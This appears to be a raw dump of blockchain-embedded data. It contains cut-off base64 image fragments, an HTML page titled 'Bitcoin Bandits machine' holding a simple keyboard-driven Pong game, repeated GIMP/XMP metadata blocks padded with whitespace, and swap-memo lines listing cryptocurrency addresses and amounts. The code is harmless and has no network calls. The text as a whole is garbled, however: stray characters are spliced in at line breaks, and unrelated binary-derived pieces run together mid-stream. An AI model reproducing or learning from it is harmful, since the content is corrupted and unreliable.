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" class="background"><div class="game"><canvas width="750" height="585" id="M
gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,widthM
:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyleM
="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.M
x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=M'
paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
Bj@673d7e5eeb55b4ebd9dd5962bf0e50afbe700d4c6c270a92e22afb8043004629
CjA=:ETH.ETH:0x8Cb7cA2e488E974b5CcADb92f1778C7654C2Eb3A:318056156::0
DjB=:ETH.ETH:0xF5F6b74Ce96daAcf310E239F2A217831f7926E38:1378639980::0
<j:=:ETH.TGT:0x159bbad61045145b00866039ab73dbfb2b4c67ed::wr:0
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:DescripM
tion rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:88200088-53d9-458e-a36e-8e9b20b221a0" xmpMM:InstanceID="xmp.iid:ec5e2a42-934d-4162-9aea-97b8489a9cb0" xmpMM:OriginalDocumentID="xmp.did:c6c37a77-947b-46ca-a48e-a1ff562f1e7a" dc:Format="image/weM
bp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418427155279" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:47:05+11:00" xmp:ModifyDate="2023:02:15T10:47:05+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:645c064f-e555-4f0f-9b2d-07118638aec8" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:47:07"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmetM
a>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="httM
p://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:9dab9b0e-19d3-4399-b5d4-c067e9a87205" xmpMM:InstanceID="xmp.iid:55f449b3-0073-40a8-95be-1e6df6810329" xmpMM:OriginalDocumentID="xmp.did:32a76025-c6c1-40e0-9a22-86e71fc3c2f3" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418443219511" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:47:21+11:00" xmp:ModifyDate="2023:02:15T10:47:21+11:00"> <xmpMM:History> <rdf:Seq> <rM
df:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:93d4d111-3941-426d-b372-44935b5b151d" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:47:23"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                                                 <?xpacket end="w"?>h!
EjC=:BNB.BNB:bnb1dlffarc5ztfhlvusv9440d8qdznsmeam58vucq:121779794:te:0
JjH=:THOR.RUNE:thor125x2tkv3m935r0fw6ndgpxmskunm8nv5yccc33:90454478406:t:30
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
